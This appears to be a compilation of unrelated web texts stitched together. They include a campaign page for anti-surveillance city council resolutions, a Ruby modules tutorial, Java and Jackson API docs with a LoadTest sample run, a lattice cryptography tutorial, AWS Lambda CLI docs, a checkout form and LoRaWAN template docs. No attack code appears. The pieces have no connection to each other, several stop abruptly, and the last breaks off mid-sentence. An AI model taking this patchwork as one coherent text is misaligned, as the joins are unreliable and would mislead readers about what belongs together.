--- layout: post title: The City Council Project categories: - Blog tags: - Board of Supervisors - City Council Project status: publish type: post published: true meta: _edit_last: '3' pexeto_video: '' dsq_thread_id: '1772369561' _yoast_wpseo_linkdex: '0' author: login: Michael email<EMAIL_ADDRESS>display_name: Michael first_name: '' last_name: '' ---
Background
The city council project aims to have city councils in the Bay Area pass primarily non-binding resolutions condemning the mass surveillance revealed by the Snowden leaks. The purpose of these resolutions is to provide public pressure from a local level to Congressional representatives whose districts include those cities. The work of this project is primarily in drafting the resolution, reaching out to partner organizations who may want to support the resolution, and working with city councils to pass the resolution.
A success story on which we are partially modeling our efforts after is at Matthew Mahoney's one-man fight to get localities in his area to pass the resolution.
Tasks
1. We start by identifying cities, city council meeting times, sympathetic council members and so on. We coordinate using this spreadsheet.
If your city is already on the spreadsheet:
First, add your name to Column B of your city's column. You can use your first name only if you want, or even just put a +1 at the end of it if you're very sensitive about your name being on this spreadsheet. We will have more pull with city councils where we have more constituents. Then, fill in as many empty cells for your city as you can.
If your city is not already on the spreadsheet:
Fill in the cells as best as you can.
2. Next, the resolution text has to be written. This process is at different stages depending on the locality. Some localities, such as San Francisco, demand more city-specific text. Simultaneously, we need to get other organizations involved and alert the relevant city council. To get involved in these efforts, email<EMAIL_ADDRESS>Where we are now
We have primarily concentrated our efforts on San Francisco, although other cities in the Bay Area are definitely on our radar. Anyone interested in spearheading an effort in their city would be welcome! The SF resolution text is being finalized, and we are in touch with a network of organizations and the SF Board of Supervisors regarding the resolution. In the coming weeks, we expect to send drafts to organizations for comment and with a request to sign on. Then, we will propose the resolution to the Board of Supervisors through a primary sponsor supervisor.
Follow up
For any questions or to get involved, email restorefoursf@gmail.com!


I feel like a toddler. My brain hurts and nothing makes sense. The internet insists on explaining things to me like I already know things. Dear Internet, I most certainly do not. I have included here the stuff that did make sense. May these humble building blocks aid you in your own pursuit of understanding.
From my blog post on the map method, a module is a way of grouping together methods, classes, and constants - a collection of reuseable code. A class, on the other hand, is a Ruby 'thing' (object) with a state and a behavior.
Quick define: superclass and subclass describe the relationship between classes. The subclass acquires the behaviors (methods) of the superclass. It's a hierarchy. Super → top, sub → bottom.
| Modules | Classes | |
|---|---|---|
| Definition | A collection of reuseable code. | A Ruby object with a state and a behavior. |
| Instantiation | No. | Yes. Class.new() |
| Inclusion | Include in classes or modules with the 'include' command. A module can be included by multiple classes. | No. |
| Inheritance | Does not do inheritance. | Can inherit methods from it's superclass, can serve as a base for a subclass to inherit. |
| Purpose | A code container, good for organization. Provides methods that you can use across multiple classes. Use when you want to group things together that don't naturally form a class. | To create instances of itself. |
| Contains | methods, constants, variables | methods, constants, variables |
| Syntax | module ModuleName .. end | class ClassName .. end |
Stay with me, these terms require some exposition. This wonderfully fabulous article provides a great explanation. In fact, it's so great that I'm going to include it here:
A good example of when the term 'namespace' becomes relevant is when you want to collaborate with other developers and share code.
(Nothing below here is mine)
Say you write a set of trigonometry functions sin, cos, and so on. You stuff them all into a file, trig.rb, for future generations to enjoy. Meanwhile, Sally is working on a simulation of good and evil, and codes up a set of her own useful routines, including beGood and sin, and sticks them into action.rb. Joe, who wants to write a program to find out how many angels can dance on the head of a pin, needs to load both trig.rb and action.rb into his program. But both define a method called sin. Bad news.
The answer is the module mechanism. Modules define a namespace, a sandbox in which your methods and constants can play without having to worry about being stepped on by other methods and constants. The trig functions can go into one module:
{% highlight ruby %} module Trig PI = 3.141592654 def Trig.sin(x) # .. end def Trig.cos(x) # .. end end {% endhighlight %}and the good and bad action methods can go into another:
{% highlight ruby %} module Action VERY_BAD = 0 BAD = 1 def Action.sin(badness) # ... end end {% endhighlight %}Pretty awesome right?!
More awesomeness that isn't mine: "A module can't have instances, because a module isn't a class. However, you can include a module within a class definition. When this happens, all the module's instance methods are suddenly available as methods in the class as well. They get mixed in. In fact, mixed-in modules effectively behave as superclasses."
There you go. Now you understand namespaces and mixins. If you don't, email me and tell me I did a poor job of explaining it / stringing together internet examples. I will not be offended and will likely thank you for the feedback.


--- title: About ---
RiiConnect24 has been possible thanks to these people. Please note this is not an active list of developers, as some of them are no longer working on the project.
Additionally, here are some of the services we use to run RiiConnect24.


Events
UNKNOWN TITLE
UNKNOWN DESCRIPTION
UNKNOWN START
UNKNOWN END
UNKNOWN LOCATION
Open in CalendarProducts
UNKNOWN NAME
UNKNOWN PRICE (UNKNOWN CURRENCY)
String Resources
UNKNOWN_KEY: UNKNOWN_VALUE
About
This page is an example of what kinds of data the api can provide out of the box.
The actual values may need to be added else the lists will be empty.


| lesson 13 'It's only me' |
| After her husband had gone to work, Mrs. Richards sent her children to school and went upstairs to her bedroom. |
| She was too excited to do any housework that morning, for in the evening she would be going to a fancy-dress party with her husband. |
| She intended to dress up as a ghost and as she had made her costume the night before, she was impatient to try it on. |
| Though the costume consisted only of a sheet, it was very effective. |
| After putting it on, Mrs. Richards went downstairs. |
| She wanted to find out whether it would be comfortable to wear. |
| Just as Mrs. Richards was entering the dining room, there was a knock on the front door. |
| She knew that it must be the baker. |
| She had told him to come straight in if ever she failed to open the door and to leave the bread on the kitchen table. |
| Not wanting to frighten the poor man, Mrs. Richards quickly hid in the small storeroom under the stairs. |
| She heard the front door open and heavy footsteps in the hall. |
| Suddenly the door of the storeroom was opened and a man entered. |
| Mrs. Richards realized that it must be the man from the Electricity Board who had come to read the metre. |
| She tried to explain the situation, saying 'It's only me', but it was too late. |
| The man let out a cry and jumped back several paces. |
| When Mrs. Richards walked towards him, he fled, slamming the door behind him. |


vmix is a webapp view-model component FrontEnd framework
view-model is interactive mode between dom-data ,the job is fulfill and package
1,vm just like normal html element,include attribute,style,event.
2,write html-style-script in one file.
3,fulfill interaction between dom and data.
4,vmix will automatic finish all the lifecycle,like load,parse,dependency,dom,event bind and response.
component is organization mode of webapp ,the job is module reuse and interaction
1,extend reuse: include prototype vm,modify it and automatic generate new one.
2,inject reuse: include one vm,inject something to it,and control the event.
3,api interaction: vm.children[index].abc(),vm.getgvm(id).abc(),just like document.getElementById()
4,message interaction:vm.pub(channel,message,cb)
webapp between user-(dom-data)-server,the job is global control
global message event,
global data flow,
global route,
global log,debug,error catch,


|
|||||||
| PREV CLASS NEXT CLASS | FRAMES NO FRAMES | ||||||
| SUMMARY: INNER | FIELD | CONSTR | METHOD | DETAIL: FIELD | CONSTR | METHOD |
java.lang.Object | +--LoadTest
Defines a single test case running in its own thread. Each test case connects to a URL (via HTTP GET) and grabs the number of bytes or error condition.
| Field Summary | |
private java.lang.ThreadGroup |
myGroup
Group of Threads Running HTTP GETS on List of URLs |
private java.lang.String |
myURL
URL to run the test |
private static boolean |
out_of_time
Used to Signal a Stop Request to all running threads |
private int |
reqCount
Request Counter to track number of repeated requests |
| Constructor Summary | |
(package private) |
LoadTest(java.lang.ThreadGroup grp,
java.lang.String srcURL)
Constructor which assigns the thread to a group and its source URL. |
| Method Summary | |
private void |
doTest()
Performs a test by sending HTTP Gets to the URL, and records the number of bytes returned. |
static boolean |
isOutOfTime()
Test for threads to check for stop processing signal |
private static void |
loadThreads(java.lang.String fileSpec)
Helper method for main to load list of URLs from a file into a thread group, and start each test case. |
static void |
main(java.lang.String[] args)
Main Class Routine that reads in URL specs from a file and a duration (in miliseconds) of how long to run the test. |
void |
runTest()
Creates a thread and runs a test case |
static void |
setOutOfTime()
Signal the all threads to stop processing |
| Methods inherited from class java.lang.Object |
|
| Field Detail |
private java.lang.String myURL
private int reqCount
private java.lang.ThreadGroup myGroup
private static boolean out_of_time
| Constructor Detail |
LoadTest(java.lang.ThreadGroup grp, java.lang.String srcURL)
grp
- Thread GroupsrcURL
- URL specification| Method Detail |
public static void setOutOfTime()
public static boolean isOutOfTime()
public void runTest()
private void doTest()
public static void main(java.lang.String[] args)
java LoadTest urls.txt 5 Start Test Run: Fri Aug 31 14:51:41 PDT 2001 java.lang.ThreadGroup[name=Test Suite,maxpri=10] Thread[Thread-0,5,Test Suite] Thread[Thread-1,5,Test Suite] Thread[Thread-2,5,Test Suite] Thread[Thread-3,5,Test Suite] Thread[Thread-4,5,Test Suite] ====================================== URL => http://www.yahoo.com REQ CNT => 1 START => Fri Aug 31 14:51:41 PDT 2001 STOP => Fri Aug 31 14:51:42 PDT 2001 THREAD => Thread-1 RESULT => Bytes Read = 14427 ====================================== URL => http://www.sun.com REQ CNT => 1 START => Fri Aug 31 14:51:41 PDT 2001 STOP => Fri Aug 31 14:51:43 PDT 2001 THREAD => Thread-3 RESULT => Bytes Read = 13995 ====================================== URL => http://www.oracle.com REQ CNT => 1 START => Fri Aug 31 14:51:41 PDT 2001 STOP => Fri Aug 31 14:51:43 PDT 2001 THREAD => Thread-2 RESULT => Bytes Read = 24745 ====================================== URL => http://www.yahoo.com REQ CNT => 2 START => Fri Aug 31 14:51:43 PDT 2001 STOP => Fri Aug 31 14:51:43 PDT 2001 THREAD => Thread-1 RESULT => Bytes Read = 14427 ====================================== URL => http://java.sun.com REQ CNT => 1 START => Fri Aug 31 14:51:41 PDT 2001 STOP => Fri Aug 31 14:51:44 PDT 2001 THREAD => Thread-4 RESULT => Bytes Read = 44094 ====================================== URL => http://www.sun.com REQ CNT => 2 START => Fri Aug 31 14:51:43 PDT 2001 STOP => Fri Aug 31 14:51:44 PDT 2001 THREAD => Thread-3 RESULT => Bytes Read = 13995 ====================================== URL => http://www.yahoo.com REQ CNT => 3 START => Fri Aug 31 14:51:44 PDT 2001 STOP => Fri Aug 31 14:51:44 PDT 2001 THREAD => Thread-1 RESULT => Bytes Read = 14427 ====================================== URL => http://www.oracle.com REQ CNT => 2 START => Fri Aug 31 14:51:44 PDT 2001 STOP => Fri Aug 31 14:51:45 PDT 2001 THREAD => Thread-2 RESULT => Bytes Read = 24745 ====================================== URL => http://www.sun.com REQ CNT => 3 START => Fri Aug 31 14:51:44 PDT 2001 STOP => Fri Aug 31 14:51:45 PDT 2001 THREAD => Thread-3 RESULT => Bytes Read = 13995 ====================================== URL => http://www.yahoo.com REQ CNT => 4 START => Fri Aug 31 14:51:45 PDT 2001 STOP => Fri Aug 31 14:51:46 PDT 2001 THREAD => Thread-1 RESULT => Bytes Read = 14427 ====================================== URL => http://java.sun.com REQ CNT => 2 START => Fri Aug 31 14:51:44 PDT 2001 STOP => Fri Aug 31 14:51:46 PDT 2001 THREAD => Thread-4 RESULT => Bytes Read = 44099 ====================================== URL => http://www.yahoo.com REQ CNT => 5 START => Fri Aug 31 14:51:46 PDT 2001 STOP => Fri Aug 31 14:51:47 PDT 2001 THREAD => Thread-1 RESULT => Bytes Read = 14427 ====================================== URL => http://www.sun.com REQ CNT => 4 START => Fri Aug 31 14:51:46 PDT 2001 STOP => Fri Aug 31 14:51:47 PDT 2001 THREAD => Thread-3 RESULT => Bytes Read = 13995 ====================================== URL => http://www.oracle.com REQ CNT => 3 START => Fri Aug 31 14:51:46 PDT 2001 STOP => Fri Aug 31 14:51:47 PDT 2001 THREAD => Thread-2 RESULT => Bytes Read = 24745 ====================================== URL => http://slashdot.org/article.pl?sid=01/06/14/1332242 REQ CNT => 1 START => Fri Aug 31 14:51:41 PDT 2001 STOP => Fri Aug 31 14:51:49 PDT 2001 THREAD => Thread-0 RESULT => Bytes Read = 67176 Stop Test Run: Fri Aug 31 14:51:47 PDT 2001
private static void loadThreads(java.lang.String fileSpec)
fileSpec
- location of file
|
|||||||
| PREV CLASS NEXT CLASS | FRAMES NO FRAMES | ||||||
| SUMMARY: INNER | FIELD | CONSTR | METHOD | DETAIL: FIELD | CONSTR | METHOD |


| Constructors' Summary |
| createDefault |
creates a default DefaultComponentInspectorModel, providing factories for all
handlers listed above.
|
| createWithHelpSection |
creates a default DefaultComponentInspectorModel, providing factories for all
handlers listed above, and describing an ObjectInspector which has a help section.
|
| Constructors' Details |
createDefault
- Description
- creates a default DefaultComponentInspectorModel, providing factories for all
handlers listed above.
- Since
- OOo 2.2
|
|
createWithHelpSection
- Description
- creates a default DefaultComponentInspectorModel, providing factories for all
handlers listed above, and describing an ObjectInspector which has a help section.
- Parameter minHelpTextLines
- denotes the minimum number of lines of text to be reserved for the help
section.
- Parameter maxHelpTextLines
- denotes the maximum number of lines of text to be reserved for the help
section.
- Throws
- ::com::sun::star::lang::IllegalArgumentException
if minHelpTextLines or maxHelpTextLines are negative,
or if minHelpTextLines is greater than maxHelpTextLines.
- Since
- OOo 2.2
- See also
- XObjectInspectorModel::HasHelpSection, XObjectInspectorModel::MinHelpTextLines, XObjectInspectorModel::MaxHelpTextLines
|
|
Top of Page
Copyright © 2013, The Apache Software Foundation, Licensed under the Apache License, Version 2.0. Apache, the Apache feather logo, Apache OpenOffice and OpenOffice.org are trademarks of The Apache Software Foundation. Other names may be trademarks of their respective owners.


|
||||||||||
| PREV NEXT | FRAMES NO FRAMES |
| Packages that use com.fasterxml.jackson.core | |
|---|---|
| com.fasterxml.jackson.core | Main public API classes of the core streaming JSON
processor: most importantly JsonFactory
used for constructing
JSON parser (JsonParser )
and generator
(JsonParser )
instances. |
| com.fasterxml.jackson.core.base | Base classes used by concrete Parser and Generator implementations; contain functionality that is not specific to JSON or input abstraction (byte vs char). |
| com.fasterxml.jackson.core.format | Package that contains interfaces needed for dynamic, pluggable format (auto)detection; as well as basic utility classes for simple format detection functionality. |
| com.fasterxml.jackson.core.io | |
| com.fasterxml.jackson.core.json | JSON-specific parser and generator implementation classes that Jackson defines and uses. |
| com.fasterxml.jackson.core.util | Utility classes used by Jackson Core functionality. |
| Classes in com.fasterxml.jackson.core used by com.fasterxml.jackson.core | |
|---|---|
| Base64Variant
Abstract base class used to define specific details of which variant of Base64 encoding/decoding is to be used. |
|
| FormatSchema
Simple tag interface used to mark schema objects that are used by some JsonParser and JsonGenerator implementations to further
specify structure of expected format. |
|
| JsonEncoding
Enumeration that defines legal encodings that can be used for JSON content, based on list of allowed encodings from JSON specification. |
|
| JsonFactory
The main factory class of Jackson package, used to configure and construct reader (aka parser, JsonParser )
and writer (aka generator, JsonGenerator )
instances. |
|
| JsonFactory.Feature
Enumeration that defines all on/off features that can only be changed for JsonFactory . |
|
| JsonGenerationException
Exception type for exceptions during JSON writing, such as trying to output content in wrong context (non-matching end-array or end-object, for example). |
|
| JsonGenerator
Base class that defines public API for writing JSON content. |
|
| JsonGenerator.Feature
Enumeration that defines all togglable features for generators. |
|
| JsonLocation
Object that encapsulates Location information used for reporting parsing (or potentially generation) errors, as well as current location within input streams. |
|
| JsonParseException
Exception type for parsing problems, used when non-well-formed content (content that does not conform to JSON syntax as per specification) is encountered. |
|
| JsonParser
Base class that defines public API for reading JSON content. |
|
| JsonParser.Feature
Enumeration that defines all on/off features for parsers. |
|
| JsonParser.NumberType
Enumeration of possible "native" (optimal) types that can be used for numbers. |
|
| JsonProcessingException
Intermediate base class for all problems encountered when processing (parsing, generating) JSON content that are not pure I/O problems. |
|
| JsonStreamContext
Shared base class for streaming processing contexts used during reading and writing of Json content using Streaming API. |
|
| JsonToken
Enumeration for basic token types used for returning results of parsing JSON content. |
|
| ObjectCodec
Abstract class that defines the interface that JsonParser and
JsonGenerator use to serialize and deserialize regular
Java objects (POJOs aka Beans). |
|
| PrettyPrinter
Interface for objects that implement pretty printer functionality, such as indentation. |
|
| SerializableString
Interface that defines how Jackson package can interact with efficient pre-serialized or lazily-serialized and reused String representations. |
|
| TreeNode
Marker interface used to denote JSON Tree nodes, as far as the core package knows them (which is very little): mostly needed to allow ObjectCodec to have some level
of interoperability. |
|
| Version
Object that encapsulates versioning information of a component. |
|
| Versioned
Interface that those Jackson components that are explicitly versioned will implement. |
| Classes in com.fasterxml.jackson.core used by com.fasterxml.jackson.core.base | |
|---|---|
| Base64Variant
Abstract base class used to define specific details of which variant of Base64 encoding/decoding is to be used. |
|
| JsonGenerationException
Exception type for exceptions during JSON writing, such as trying to output content in wrong context (non-matching end-array or end-object, for example). |
|
| JsonGenerator
Base class that defines public API for writing JSON content. |
|
| JsonGenerator.Feature
Enumeration that defines all togglable features for generators. |
|
| JsonLocation
Object that encapsulates Location information used for reporting parsing (or potentially generation) errors, as well as current location within input streams. |
|
| JsonParseException
Exception type for parsing problems, used when non-well-formed content (content that does not conform to JSON syntax as per specification) is encountered. |
|
| JsonParser
Base class that defines public API for reading JSON content. |
|
| JsonParser.NumberType
Enumeration of possible "native" (optimal) types that can be used for numbers. |
|
| JsonProcessingException
Intermediate base class for all problems encountered when processing (parsing, generating) JSON content that are not pure I/O problems. |
|
| JsonStreamContext
Shared base class for streaming processing contexts used during reading and writing of Json content using Streaming API. |
|
| JsonToken
Enumeration for basic token types used for returning results of parsing JSON content. |
|
| ObjectCodec
Abstract class that defines the interface that JsonParser and
JsonGenerator use to serialize and deserialize regular
Java objects (POJOs aka Beans). |
|
| SerializableString
Interface that defines how Jackson package can interact with efficient pre-serialized or lazily-serialized and reused String representations. |
|
| TreeNode
Marker interface used to denote JSON Tree nodes, as far as the core package knows them (which is very little): mostly needed to allow ObjectCodec to have some level
of interoperability. |
|
| Version
Object that encapsulates versioning information of a component. |
|
| Versioned
Interface that those Jackson components that are explicitly versioned will implement. |
| Classes in com.fasterxml.jackson.core used by com.fasterxml.jackson.core.format | |
|---|---|
| JsonFactory
The main factory class of Jackson package, used to configure and construct reader (aka parser, JsonParser )
and writer (aka generator, JsonGenerator )
instances. |
|
| JsonParser
Base class that defines public API for reading JSON content. |
| Classes in com.fasterxml.jackson.core used by com.fasterxml.jackson.core.io | |
|---|---|
| JsonEncoding
Enumeration that defines legal encodings that can be used for JSON content, based on list of allowed encodings from JSON specification. |
|
| SerializableString
Interface that defines how Jackson package can interact with efficient pre-serialized or lazily-serialized and reused String representations. |
| Classes in com.fasterxml.jackson.core used by com.fasterxml.jackson.core.json | |
|---|---|
| Base64Variant
Abstract base class used to define specific details of which variant of Base64 encoding/decoding is to be used. |
|
| JsonEncoding
Enumeration that defines legal encodings that can be used for JSON content, based on list of allowed encodings from JSON specification. |
|
| JsonGenerationException
Exception type for exceptions during JSON writing, such as trying to output content in wrong context (non-matching end-array or end-object, for example). |
|
| JsonGenerator
Base class that defines public API for writing JSON content. |
|
| JsonLocation
Object that encapsulates Location information used for reporting parsing (or potentially generation) errors, as well as current location within input streams. |
|
| JsonParseException
Exception type for parsing problems, used when non-well-formed content (content that does not conform to JSON syntax as per specification) is encountered. |
|
| JsonParser
Base class that defines public API for reading JSON content. |
|
| JsonStreamContext
Shared base class for streaming processing contexts used during reading and writing of Json content using Streaming API. |
|
| JsonToken
Enumeration for basic token types used for returning results of parsing JSON content. |
|
| ObjectCodec
Abstract class that defines the interface that JsonParser and
JsonGenerator use to serialize and deserialize regular
Java objects (POJOs aka Beans). |
|
| SerializableString
Interface that defines how Jackson package can interact with efficient pre-serialized or lazily-serialized and reused String representations. |
|
| Version
Object that encapsulates versioning information of a component. |
|
| Versioned
Interface that those Jackson components that are explicitly versioned will implement. |
| Classes in com.fasterxml.jackson.core used by com.fasterxml.jackson.core.util | |
|---|---|
| Base64Variant
Abstract base class used to define specific details of which variant of Base64 encoding/decoding is to be used. |
|
| FormatSchema
Simple tag interface used to mark schema objects that are used by some JsonParser and JsonGenerator implementations to further
specify structure of expected format. |
|
| JsonGenerationException
Exception type for exceptions during JSON writing, such as trying to output content in wrong context (non-matching end-array or end-object, for example). |
|
| JsonGenerator
Base class that defines public API for writing JSON content. |
|
| JsonGenerator.Feature
Enumeration that defines all togglable features for generators. |
|
| JsonLocation
Object that encapsulates Location information used for reporting parsing (or potentially generation) errors, as well as current location within input streams. |
|
| JsonParseException
Exception type for parsing problems, used when non-well-formed content (content that does not conform to JSON syntax as per specification) is encountered. |
|
| JsonParser
Base class that defines public API for reading JSON content. |
|
| JsonParser.Feature
Enumeration that defines all on/off features for parsers. |
|
| JsonParser.NumberType
Enumeration of possible "native" (optimal) types that can be used for numbers. |
|
| JsonProcessingException
Intermediate base class for all problems encountered when processing (parsing, generating) JSON content that are not pure I/O problems. |
|
| JsonStreamContext
Shared base class for streaming processing contexts used during reading and writing of Json content using Streaming API. |
|
| JsonToken
Enumeration for basic token types used for returning results of parsing JSON content. |
|
| ObjectCodec
Abstract class that defines the interface that JsonParser and
JsonGenerator use to serialize and deserialize regular
Java objects (POJOs aka Beans). |
|
| PrettyPrinter
Interface for objects that implement pretty printer functionality, such as indentation. |
|
| SerializableString
Interface that defines how Jackson package can interact with efficient pre-serialized or lazily-serialized and reused String representations. |
|
| TreeNode
Marker interface used to denote JSON Tree nodes, as far as the core package knows them (which is very little): mostly needed to allow ObjectCodec to have some level
of interoperability. |
|
| Version
Object that encapsulates versioning information of a component. |
|
| Versioned
Interface that those Jackson components that are explicitly versioned will implement. |
|
|||||||||||
| PREV NEXT | FRAMES NO FRAMES |


last refreshed {{ getSecurityGroupRefreshTime() | timestamp }} refreshing...
If you're not finding a that was recently added, click here to refresh the list.


In this crypto tutorial you will learn about lattices and their use in cryptography especially cryptanalysis. This introduction is intended to provide the basics, to better understand the following chapters.
Lattices
A lattice consists of linearly independent vectors that are linearly combined with each other and thereby generate lattice points.
The difference between lattices and a "normal" vector space is the fact that the
vectors are multiplied with integer factors instead of real factors.
All the vectors form a so called basis for the lattice. This basis can be written in the form of a matrix.
The vectors can be written down in column notation, this is the most common way in papers. The vectors define so-called parallelepipeds, in the two-dimensional case these are parallelograms.
The volume of this parallelepiped is equal to the absolute value of the determinant.
Please note that in this crypto tutorial all values are integers,
since big integers are common in modern cryptography. This however is not a
requirement for lattices itself, but only for the factors multiplied with the
vectors. The benefit of this limitation will arise in the later chapters "Merkle-Hellman" and "RSA".
Lattice problems
An important characteristic of lattices is the fact that they
can have different bases producing the same lattice. The determinants of all these bases
have the same value. Regarding lattices, vectors with minimum length are
interesting. The problem to find these vectors is called the Shortest Vector
Problem (SVP) and relates to the search for "successive minima".
The first minimum is the shortest vector. All other vectors are linearly independent to this and to each other, they are
also as short as possible.
An upper bound for the shortest vector is determined by the Hermite constant. The shortest vector is also interesting for the packing density of a lattice. Here circles are constructed around each
Lattice point being as large as possible without overlapping each other
(both the Hermite circuit and the package circuits can be enabled in the settings).
It can be easily observed that after reduction the vectors are very much orthogonal to each other, ideally they even have the angle of 90°.
Another interesting problem is the Closest Vector Problem (CVP).
Here an arbitrary point is specified and then we search for a lattice point which is closest to this arbitrary point.
Lattice reduction
There are two important methods that implement the search for shortest vectors. One of these is the Gaussian algorithm for dimension 2 and secondly the LLL algorithm, named after
Arjen Lenstra, Hendrik Lenstra and László Lovász, for an arbitrary lattice dimension.
The Gaussian algorithm works similar to the Euclidean algorithm for searching
the greatest common divisor (gcd) of two integers. By combining and subtracting of two vectors the basis improves after each iteration with a shorter vector.
The LLL algorithm works similar to the Gauss algorithm, but for higher
dimensions it produces only an approximation to the shortest vector. An
important part of the algorithm is the Gram-Schmidt orthogonalization.
Cryptanalysis
After the publication of the LLL algorithm in 1982, many possible applications were found for it, cryptanalysis being one of them.
The Merkle-Hellman knapsack cryptosystem, designed in 1978 and named after its two inventors Ralph C. Merkle and Martin E. Hellman, could impressively be broken with the help of lattices.
This cryptosystem is based on the knapsack problem, for which a general solution is difficult to find.
But it could be demonstrated, that the problem of decrypting a ciphertext can be reformulated as a search for a shortest vector.
The well-known asymmetric encryption scheme RSA (named after its inventors Ronald L. Rivest, Adi Shamir and Leonard Adleman) was developed at about the same time as the Merkle-Hellman cryptosystem.
It is based on the problem of the prime factorization of big integers.
Using lattices, Don Coppersmith was able to show that certain messages, for which a part of the plaintext is known, can be deciphered.
The messages in this case are so called "stereotypical messages", for example "Your new PIN is: ****".
The first part of the messages, which is always the same, must be known to the attacker.
A prerequisite for this attack is that the public exponent e is very small, for example 3.
Another attack scenario that uses lattices involves a partially known private key.
In contrast to the Merkle-Hellman cryptosystem, RSA was not broken and can as yet be considered safe, provided some constraints on the parameters are respected.
Lattice-based cryptosystems
Cryptosystems that are based on lattices exploit the hardness of certain lattice problems, in particular the Shortest Vector Problem (SVP) and the Closest Vector Problem (CVP).
As in the case of RSA, these cryptosystems are asymmetric public-key cryptosystems.
The foundations for lattice-based cryptography were laid by Miklos Ajtai in 1986, when he demonstrated how lattices could be used for cryptography.
In cooperation with Cynthia Dwork, Ajtai published the Ajtai-Dwork cryptosystem a short time later in 1997. Its security is based on the hardness of SVP.
In the same year, Oded Goldreich, Shafi Goldwasser and Shai Halevi published the GGH cryptosystem. Improvements by Daniele Micciancio made the system practicable.
The security of GGH is based on the hardness of CVP.
GGH can also be used to generate electronic signatures.
Both cryptosystems, Ajtai-Dwork and GGH, were successfully attacked and broken.
The cryptosystem NTRU (Number Theory Research Unit) was presented by Jeffrey Hoffstein, Jill Pipher and Joseph H. Silverman in 1998.
It can encrypt (NTRUEncrypt) as well as create electronic signatures (NTRUSign). The security of NTRU relies on the hardness of SVP.
The advantages of NTRU are the fast encryption and decryption speed and the fact that, unlike in the case of RSA, no quantum algorithm for attacking it in polynomial time is as yet known.
The latest lattice-based cryptosystem is Learning With Errors (LWE), which was published by Oded Regev in 2005.
It too is based on hard lattice problems, like SVP.
Compared to established public-key cryptosystems like RSA, lattice-based cryptosystems have to handle larger key sizes and also larger ciphertexts.
On the other hand, they have the advantage of being faster and, in contrast to RSA, they are not (yet) vulnerable to quantum computing attacks.
Note: This plugin uses icons with Creative Commons Attribution NonCommercial licence (BY-NC). Designers of these icons are "iconshock.com", "gentleface.com" and "wpzoom.com".


Invokes a specific Lambda function. For an example, see Create the Lambda Function and Test It Manually .
If you are using the versioning feature, you can invoke the specific function version by providing function version or alias name that is pointing to the function version using the qualifier parameter in the request. If you don't provide the qualifier parameter, the $LATEST version of the Lambda function is invoked. Invocations occur at least once in response to an event and functions must be idempotent to handle this. For information about the versioning feature, see AWS Lambda Function Versioning and Aliases .
This operation requires permission for the lambda:InvokeFunction action.
See also: AWS API Documentation
invoke
--function-name <value>
[--invocation-type <value>]
[--log-type <value>]
[--client-context <value>]
[--payload <value>]
[--qualifier <value>]
outfile <value>
The Lambda function name.
You can specify a function name (for example, Thumbnail ) or you can specify Amazon Resource Name (ARN) of the function (for example, arn:aws:lambda:us-west-2:account-id:function:ThumbNail ). AWS Lambda also allows you to specify a partial ARN (for example, account-id:Thumbnail ). Note that the length constraint applies only to the ARN. If you specify only the function name, it is limited to 64 character in length.
By default, the invoke API assumes RequestResponse invocation type. You can optionally request asynchronous execution by specifying Event as the invocation-type . You can also use this parameter to request AWS Lambda to not execute the function but do some verification, such as if the caller is authorized to invoke the function and if the inputs are valid. You request this by specifying DryRun as the invocation-type . This is useful in a cross-account scenario when you want to verify access to a function without running it.
Possible values:
- Event
- RequestResponse
- DryRun
You can set this optional parameter to Tail in the request only if you specify the invocation-type parameter with value RequestResponse . In this case, AWS Lambda returns the base64-encoded last 4 KB of log data produced by your Lambda function in the x-amz-log-result header.
Possible values:
- None
- Tail
Using the ClientContext you can pass client-specific information to the Lambda function you are invoking. You can then process the client information in your Lambda function as you choose through the context variable. For an example of a ClientContext JSON, see PutEvents in the Amazon Mobile Analytics API Reference and User Guide .
The ClientContext JSON must be base64-encoded.
JSON that you want to provide to your Lambda function as input.
You can use this optional parameter to specify a Lambda function version or alias name. If you specify a function version, the API uses the qualified function ARN to invoke a specific Lambda function. If you specify an alias name, the API uses the alias ARN to invoke the Lambda function version to which the alias points.
If you don't provide this parameter, then the API uses unqualified function ARN which results in invocation of the $LATEST version.
outfile (string) Filename where the content will be saved
StatusCode -> (integer)
The HTTP status code will be in the 200 range for successful request. For the RequestResonse invocation type this status code will be 200. For the Event invocation type this status code will be 202. For the DryRun invocation type the status code will be 204.
FunctionError -> (string)
Indicates whether an error occurred while executing the Lambda function. If an error occurred this field will have one of two values; Handled or Unhandled . Handled errors are errors that are reported by the function while the Unhandled errors are those detected and reported by AWS Lambda. Unhandled errors include out of memory errors and function timeouts. For information about how to report an Handled error, see Programming Model .
LogResult -> (string)
It is the base64-encoded logs for the Lambda function invocation. This is present only if the invocation type is RequestResponse and the logs were requested.
Payload -> (blob)
It is the JSON representation of the object returned by the Lambda function. This is present only if the invocation type is RequestResponse .
In the event of a function error this field contains a message describing the error. For the Handled errors the Lambda function will report this message. For Unhandled errors AWS Lambda reports the message.


ship your entire order to one address
Select an address below.
Add a new shipping address
*
First Name:
*
Last Name:
*
Address:
*
City:
*
State:
Select
Armed Forces Americas
Armed Forces Europe
Alaska
Alabama
Armed Forces Pacific
Arkansas
American Samoa
Arizona
California
Colorado
Connecticut
District of Columbia
Delaware
Florida
Federated States of Micronesia
Georgia
Guam
Hawaii
Iowa
Idaho
Illinois
Indiana
Kansas
Kentucky
Louisiana
Massachusetts
Maryland
Maine
Marshall Islands
Michigan
Minnesota
Missouri
Northern Mariana
Mississippi
Montana
North Carolina
North Dakota
Nebraska
New Hampshire
New Jersey
New Mexico
Nevada
New York
Ohio
Oklahoma
Oregon
Pennsylvania
Pacific Islands
Puerto Rico
Palau
Rhode Island
South Carolina
South Dakota
Tennessee
Texas
Utah
Virginia
U.S. Virgin Islands
Vermont
Washington
Wisconsin
West Virginia
Wyoming
Shipping internationally?
*
ZipCode:
*
Phone:
-
-
Order Summary
Merchandise Total:
$
75.99
Shipping Charges
:
$
8.00
Estimated Tax
:
$
4.56
Total:
$
88.55
update total


Command-line interface only
The instructions below use the command-line interface (CLI).
You can use the end-device template assign-euis
command to assign the JoinEUI
and DevEUI
to device templates. The DevEUI
is assigned from the given start number. This personalizes the device templates.
You can use the command in two different ways:
- Pipe a number of device templates to assign EUIs to, for example the result of Mapping Templates or Converting Templates
- Pipe a generic device template, for example the result of Creating Templates, and pass the
--count
flag to generate a number of personalized device templates
Once the device templates are personalized with EUIs, you can set additional fields (see Creating Templates) or execute templates (see Executing Templates).
Note: to make your device compliant with most LoRaWAN networks, use the
JoinEUI
of the LoRaWAN Join Server where the devices will be registered and use aDevEUI
